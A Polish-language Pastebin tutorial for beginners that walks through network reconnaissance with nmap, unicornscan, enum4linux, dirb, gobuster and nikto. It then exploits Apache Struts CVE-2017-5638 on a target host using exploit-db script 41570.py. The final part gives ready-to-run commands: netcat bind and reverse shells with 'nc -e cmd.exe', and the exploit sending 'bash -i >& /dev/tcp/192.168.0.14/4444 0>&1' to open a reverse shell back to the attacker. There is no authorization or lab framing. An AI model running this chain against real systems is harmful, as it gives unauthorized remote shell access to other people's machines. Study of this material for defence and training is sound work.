kapko

Untitled

Aug 10th, 2018
255
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.72 KB | None | 0 0
  1. Zacznijmy od cytatu smile
  2.  
  3. „Jeśli znasz siebie i swego wroga, przetrwasz pomyślnie sto bitew. Jeśli nie poznasz swego wroga, lecz poznasz siebie, jedną bitwę wygrasz, a drugą przegrasz. Jeśli nie znasz ni siebie, ni wroga, każda potyczka będzie dla Ciebie zagrożeniem.”
  4.  
  5.  
  6. Sun Tzu
  7.  
  8. Z poradnika dowiecie się czegoś o podstawach skanowania sieci różnymi narzędziami, jak wyszukać luk a nawet jak użyć exploita yikes WOW coś dla wszystkich haxiorów
  9.  
  10. Dla uproszczenia załóżmy, że znajdujemy się tej samej sieci. Najpierw powinniśmy zidentyfikować potencjalne cele. Ciekawym sposobem na zrealizowanie tego zadania jest wykorzystanie programu netdiscover, który wysyła pakiety ARP i nasłuchuje odpowiedzi.
  11.  
  12. netdiscover -r 192.168.0.0/24
  13.  
  14. W podanym przykładzie, za pomocą parametru r podajemy skanowany zakres. W tym przypadku jest to podsieć 192.168.0.0/24. W celu zapoznania pozostałych opcji narzędzia netdiscover zachęcam do odwiedzenia stron man.
  15.  
  16. W celu identyfikacji podłączonych urządzeń wykorzystać można również technikę zwaną ping sweep. Ping sweep polega na wysyłaniu pakietów ICMP w celu identyfikacji aktywnych hostów. Jednakże, urządzenia, które filtrują albo odrzucają pakiety ICMP, nie będą oznaczone jako aktywne. Aby wykonać ping sweep wykorzystamy narzędzie nmap.
  17.  
  18. nmap -sn 192.168.0.0/24
  19.  
  20. Parametr sn oznacza ping scan dla podsieci 192.168.0.0/24. Cel skanowania można w tym przypadku podać również jako podsieć, listę hostów, listę nazw hostów lub pojedyncze adresy IP.
  21.  
  22. Ping sweep można również wykonać wykorzystując domyślne systemowe narzędzie ping. Z użyciem języka skryptowego (perl, python, itp.) można zautomatyzować wykonanie ping sweep. Istniejące ograniczenie pakietu ICMP nie pozwala uzyskać technice ping sweep rzetelnych wyników. Warto w związku z tym poświęcić trochę więcej czasu na zbadanie urządzeń podłączonych do sieci. Możemy przeskanować sieć pod kątem 10 najczęściej wykorzystanych serwisów. Tą czynność możemy określić mianem network sweepingu
  23.  
  24. nmap --top-ports=10 192.168.0.0/24
  25.  
  26. Parametr top-ports określa liczbę najczęściej używanych portów. W dalszej kolejności podajemy zakres naszego skanowania. Uzyskaliśmy adresy IP występujące w podsieci 192.168.0.0/24, jak również powiązane z nimi adresy MAC. Adresy MAC mogą posłużyć do określenia jaki typ urządzenia znajduje się w danej podsieci.
  27.  
  28. SKANOWANIE - PORT SCANNING
  29.  
  30. Przyjmijmy, że naszym celem jest urządzenie, które korzysta z adresu 192.168.0.16. Następny krok to zdobycie więcej informacji o urządzeniu 192.168.0.16. W tym celu dokonujemy skanowania tego urządzenia i chcemy sprawdzić, które porty są otwarte. Poznamy w ten sposób możliwe punkty wejścia do systemu informatycznego, które możemy porównać do drzwi i okien w twierdzy. W tym celu skorzystamy z narzędzia unicornscan, który jest efektywnym narzędziem do wysyłania pakietów TCP/UDP.
  31.  
  32. us -mT -r 3000 -R 3 -Iv -p 1-65535 192.168.0.16
  33.  
  34. Parametr mT określa typ skanowania na skan TCP, parametr r określa liczbę pakietów na sekundę, parametr R liczbę powtórzeń, natomiast parametrem p określamy zakres portów do przeskanowania. Parametr Iv określa, aby wyświetlać informacje natychmiast z dodatkowymi opisami.
  35.  
  36. Analogicznie dokonujemy skanowania otwartych portów UDP, gdzie jedyną różnicą w poleceniu jest zmiana typu skanowania z mT na mU (czyli skanowanie UDP).
  37.  
  38. us -mU -r 3000 -R 3 -Iv -p 1-65535 192.168.0.16
  39.  
  40. Wiemy też jakie porty są otwarte, teraz powinniśmy zacząć zbierać więcej informacji na temat systemu i postarać się odpowiedzieć na pytanie: Co działa na tych portach? W tym przypadku, ponownie z pomocą przychodzi nam narzędzie nmap, które umożliwi realizację takich technik jak OS fingerprinting czy banner grabbing. OS fingerprinting można określić jako zdalne rozpoznanie wersji systemu operacyjnego urządzenia podłączonego do sieci. Najczęściej wykorzystywana jest do tego analiza ruchu sieciowego generowanego przez dane urządzenie podłączone do sieci, a dokładniej sposób i forma tego ruchu. Banner grabbing umożliwi zebranie informacji na temat serwisów uruchomionych na otwartych portach.
  41.  
  42. nmap -Pn -sV -O 192.168.0.16
  43.  
  44. W podanym przykładzie parametr O umożliwia oszacowanie systemu operacyjnego, natomiast parametr sV zbiera informacje przekazane przez serwisy działające na otwartych portach (informacje o wersji serwisu). Parametr Pn informuje nmap, aby traktować wszystkie cele jako dostępne. Ograniczeniem tego polecenia jest fakt, że nmap domyślnie skanuje 1000 najpopularniejszych portów i skupia się na połączeniach TCP.
  45.  
  46. W związku z tym aby przeskanować pełen zakres portów tzn. od portu 1 do 65535 potrzebujemy dodać parametr -p-, który wskazuje nmap, aby dokonać skanowania wszystkich portów TCP.
  47.  
  48. nmap -Pn -sV -p- -O 192.168.0.16
  49.  
  50. Teraz pozostaje również wziąć pod uwagę porty UDP. W związku z tym dodajemy parametr sU, wskazujący typ skanowania na UDP.
  51.  
  52. nmap -Pn -sU -sV -O 192.168.0.16
  53.  
  54. Ciekawym parametrem narzędzia nmap jest parametr A, który umożliwia wykrycie wersji systemu operacyjnego, wersji serwisów (opcja sV) oraz uruchamia pasujące skrypty i polecenie traceroute do wskazanego celu.
  55.  
  56. nmap -Pn -p- -A 192.168.0.16
  57.  
  58. Serwisy – Service Enumeration
  59.  
  60. W tej części wciąż będziemy starać się zdobyć więcej informacji o systemie, a w szczególności o serwisach do których mamy dostęp przez otwarte porty (udostępniających swoje usługi). Przyjrzyjmy się więc bliżej działającym serwisom. Nmap zawiera bardzo przydatny, umożliwiający wykorzystanie skryptów moduł zwany NSE (Nmap Scripting Engine). NSE daje również możliwość wykrywania podatności. Spróbujemy wykorzystać to do zdobycia większej ilości informacji o serwisach. Będziemy również wspierali się innymi narzędziami.
  61.  
  62. Przyjrzyjmy się najpierw serwisowi, który umożliwia współdzielenie plików oraz drukarek. Przyjmijmj że serwer 192.168.0.19 ma serwis SMB (samba) na portach TCP 139 i 445. Skrypty NSE przechowywane są w katalogu /usr/share/nmap/scripts (domyślna lokalizacja dla dystrybucji linux kali-2.0). Przyjrzyjmy się skryptom smb.
  63.  
  64. ls /usr/share/nmap/scripts/ | grep smb
  65.  
  66. Zacznijmy od skryptu smb-enum-users, który stara się znaleźć informacje o użytkownikach serwisu. W celu skorzystania ze skryptu podajemy parametr –script oraz nazwę skryptu (domyślnie nmap szuka skryptów w katalogu /usr/share/nmap/scripts). Warto zapoznać się z dodatkowymi informacjami dotyczącymi skryptów oraz z jakimi parametrami mogą być uruchamiane (można to zrobić otwierając skrypt w edytorze tekstowym).
  67.  
  68. nmap -sV -p 139,445 --script=smb-enum-users.nse 192.168.0.16
  69.  
  70. Teraz postarajmy się dowiedzieć trochę więcej na temat systemu operacyjnego. W tym celu skorzystamy ze skryptu smb-os-discovery
  71.  
  72. nmap -sV -p 139,445 --script=smb-os-discovery 192.168.0.16
  73.  
  74. W celu zautomatyzowanej iteracji serwisu SAMBA, możemy wykorzystać również dedykowane narzędzia. Tutaj dobrym przykładem jest narzędzie enum4linux. Uruchomione z opcją v pokazuje jakie polecenia zostały użyte w celu zdobycia danych informacji. Można wykorzystać to do własnych ćwiczeń i pogłębienia wiedzy.
  75.  
  76. enum4linux -v 192.168.0.16
  77.  
  78. SERWISY HTTP
  79.  
  80. Przeanalizujmy teraz pozostałe otwarte porty i usługi działające na nich. Sprawdźmy je jednocześnie, ponieważ pod pozostałymi otwartymi portami, kryją się serwisy webowe. Jest to dobra forma porównania podejścia, jak również uzyskanych informacji. Na początek korzystając z przeglądarki webowej, możemy przyjrzeć się udostępnianym serwisom oraz przejrzeć źródło stron www. Powinniśmy wykorzystać zdobytą do tej pory wiedzy na temat skryptów NSE do nmap i sprawdzić jakie informacje jesteśmy w stanie uzyskać.
  81.  
  82. nmap -sV -p 80,8080 --script=http-headers 192.168.0.16
  83.  
  84. Zakładamy że na porcie 80 dostępna jest domyślna strona Apache. O wiele ciekawiej wygląda serwis na porcie 8080. Przyjrzyjmy się bliżej stronie serwowanej na porcie 8080. W tym celu wykorzystajmy narzędzie curl do transferu danych.
  85.  
  86. curl -i http://192.168.0.16:8080/
  87.  
  88. Dzięki temu uzyskujemy ciekawe informacje o nagłówku HTTP wysłanym przez serwer w odpowiedzi oraz nagłówku strony www.
  89.  
  90. Upewnijmy się, że poza tym co do tej pory znaleźliśmy nie ma innych webaplikacji. W tym celu skorzystamy z narzędzi dirb i gobuster. Są to skanery webowe, które na podstawie zadanej zdefiniowanej listy słownikowej badają odpowiedzi serwera www i ustalają czy dana strona istnieje (jaki kod HTTP zwraca). Zdefiniowana lista słownikowa zawiera najczęściej występujące nazwy stron np. robots.txt.
  91.  
  92. Zacznijmy od narzędzia dirb.
  93.  
  94. dirb http://192.168.0.16
  95.  
  96. dirb http://192.168.0.16:8080
  97.  
  98. Skorzystajmy teraz z narzędzia gobuster. Parametr u oznacza adres URL, parametr w – zdefiniowaną listę słownikową, parametr s – kody statusów zapytań HTTP/S, a parametr e oznacza rozszerzony tryb, wyświetlający całe adresy URL.
  99.  
  100. gobuster -u http://192.168.0.16/ -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e
  101.  
  102. gobuster -u http://192.168.0.16:8080/ -w /usr/share/seclists/Discovery/Web_Content/tomcat.txt -s '200,204,301,302,307,403,500' -e
  103.  
  104. Na koniec zostawiamy sobie kompleksowy audyt serwisu webowego narzędziem nikto.
  105.  
  106. nikto -host 192.168.0.16
  107.  
  108. Konkluzją poprzedniego etapu było szukanie podatności. W tym przypadku również z pomocą mogą przyjść możliwości skryptów NSE narzędzia nmap. Przykładem może być taki projekt wzbogacający skrypty NSE:
  109. http://www.computec.ch/projekte/vulscan/
  110.  
  111. Instalacja polega na skopiowaniu katalogu vulscan do katalogu ze skryptami nmap, czyli /usr/share/nmap/scripts. Następnie korzystamy z nmap do uruchomienia tych skryptów podając ich nazwę jako zmienną do parametru script.
  112.  
  113. nmap –sS –sV –script=vulscan 192.168.0.16
  114.  
  115. Wykryte wersje serwisów posłużyły do porównania z informacjami zawartymi w bazach z podatnościami dostępnymi w ramach tego projektu.
  116.  
  117. Na tym etapie możemy zebrać zdobyte informacje i spróbować dowiedzieć się więcej o potencjalnych podatnościach. W tym celu wykorzystamy następujące portale o powszechnie znanych podatnościach i zagrożeniach:
  118.  
  119. https://www.cvedetails.com
  120. http://www.securityfocus.com
  121. https://cve.mitre.org/
  122.  
  123. Szukając więcej informacji na temat tej podatności, można znaleźć skrypt nmap sprawdzający czy dana webaplikacja jest podatna.
  124.  
  125. Skrypt dostępny jest na stronie nmap: https://nmap.org/nsedoc/scripts/http-vu … -5638.html
  126.  
  127. Pobieramy skrypt i sprawdzamy, czy webaplikacja jest podatna.
  128.  
  129. nmap -sV -p 8080 --script=/root/Downloads/http-vuln-cve2017-5638.nse 192.168.0.16
  130.  
  131. Założmy że webaplikacja Apache Struts 2 jest podatna.
  132.  
  133. W ramach dystrybucji Kali Linux jest również lokalna kopia bazy exploit-db i znajduje się ona w katalogu /usr/share/exploitdb. Skorzystajmy z narzędzia searchsploit, które umożliwia przeszukanie lokalnej bazy exploit-db. Podajemy parametr t, który oznacza wyszukiwanie ciągu znaków w tytule (w tym przypadku ciąg znaków to struts 2.*).
  134.  
  135. searchsploit -t struts 2.*
  136.  
  137. Otrzymujemy wyniki odpowiadające naszym parametrom wyszukiwania. Exploit do znalezionej podatności to:
  138.  
  139. Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution | linux/webapps/41570.py
  140.  
  141. Po przeanalizowaniu kodu exploita przygotowujemy się do jego uruchomienia. W naszym przykładzie kod napisany jest w języku python, oraz wymaga parametrów url (który jest adresem naszej aplikacji opartej o framework Apache Struts) oraz cmd (polecenia, które ma być wykonane).
  142.  
  143. Dowiedzmy się czegoś więcej o maszynie 192.168.0.16 i skorzystajmy z możliwości wykonywania zdalnie poleceń.
  144.  
  145. python /usr/share/exploitdb/platforms/linux/webapps/41570.py http://192.168.0.16:8080/index.action "whoami; uname -a; hostname"
  146.  
  147. Pozostaje nam odpowiedzieć na pytanie: Jak uzyskać dostęp do systemu?
  148.  
  149. W tym miejscu pora przedstawić koncept bind shell i reverse shell.
  150.  
  151. Bind shell jest wykorzystywane do ”związania” wiersza poleceń (shell) do portu TCP, na którym nasłuchujemy. Połączenie do tego portu TCP udostępni wiersz poleceń do systemu.
  152.  
  153. W celu lepszego zobrazowania użyjmy takiego scenariusza: Alicja chce, aby Bob pomógł jej w konfiguracji jej komputera. W związku z tym Alicja na swoim komputerze uruchamia program, który nasłuchuje na porcie 4444 i wiąże się z wierszem poleceń cmd.exe. Bob łączy się z komputerem Alicji na porcie 4444 i dostaje wiersz poleceń cmd.exe komputera Alicji.
  154.  
  155. Realizacja powyższego scenariusza z wykorzystaniem narzędzia netcat. Parametr n narzędzia netcat oznacza używanie numerycznych adresów IP (bez korzystania z DNS), parametr l ustawia tryb nasłuchiwania, parametr p określa port, na który nasłuchujemy. Natomiast parametr v określa, że netcat będzie wyświetlał więcej informacji podczas działania.
  156.  
  157. 192.168.0.10 – adres IP komputera Alicji
  158. 192.168.0.20 – adres IP komputera Boba
  159.  
  160. Alicja
  161. nc.exe –nlvp 4444 –e cmd.exe
  162.  
  163. Bob
  164. nc.exe –nv 192.168.0.10 4444
  165.  
  166. Reverse shell jest wykorzystywane do przekazania wiersza poleceń i połączenia się na port TCP wskazanego adresu. Połączenie do portu TCP wskazanego adresu udostępni wiersz poleceń.
  167.  
  168. W celu lepszego zobrazowania użyjmy takiego scenariusza: Alicja chce, aby Bob pomógł jej w konfiguracji jej komputera. W związku z tym Bob na swoim komputerze uruchamia program, który nasłuchuje na porcie 4444. Alicja łączy się do komputera Boba i wiąże to połączenie z wierszem poleceń cmd.exe. Bob otrzymuje wiersz poleceń cmd.exe komputera Alicji.
  169.  
  170. Realizacja powyższego scenariusza z wykorzystaniem narzędzia netcat.
  171.  
  172. Przyjmijmy założenia jak w poprzednim przykładzie.
  173.  
  174. Bob
  175. nc.exe –nlvp 4444
  176.  
  177. Alicja
  178. nc.exe –nv 192.168.0.20 4444 –e cmd.exe
  179.  
  180. Wróćmy do naszego celu, którym jest host z podatnością CVE-2017-5638. W celu uzyskania dostępu do urządzenia 192.168.0.16 wykorzystamy koncept reverse shell. Najpierw zacznijmy nasłuchiwać na porcie 4444.
  181.  
  182. nc –nvlp 4444
  183.  
  184. W drugim oknie terminala wykonajmy następujące polecenie
  185.  
  186. bash -i >& /dev/tcp/192.168.0.14/4444 0>&1
  187.  
  188. które tworzy połączenie do naszego urządzenia (czyli 192.168.0.14) na porcie 4444 i przekazuje wiersz poleceń /bin/bash.
  189.  
  190. python /usr/share/exploitdb/platforms/linux/webapps/41570.py http://192.168.0.16:8080/index.action "bash -i >&amp; /dev/tcp/192.168.0.14/4444 0>&1"
  191.  
  192. Wynikiem wykonania tych poleceń jest dostęp do wiersza poleceń systemu 192.168.0.16
  193.  
  194. Jest to oczywiście skrótowe pokazanie co i jak.. W rzeczywistości jest to trochę bardziej skomplikowane ale dla osób początkujących myślę że jest to dobry przykład co i jak.
  195.  
  196. DoomHead
Advertisement
Add Comment
Please, Sign In to add comment